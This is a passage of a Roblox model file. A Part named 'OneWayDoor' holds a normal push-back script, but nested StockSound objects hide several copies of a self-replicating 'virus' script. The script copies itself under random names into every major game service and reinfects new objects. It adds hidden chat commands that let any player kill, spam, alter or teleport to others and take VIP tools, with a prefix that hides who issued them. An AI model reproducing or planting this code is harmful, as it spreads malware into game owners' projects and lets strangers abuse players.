local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX693">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-174.5</X>
							<Y>62.1000023</Y>
							<Z>30.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>79</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX694">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX695">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX696">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX697">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX698">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
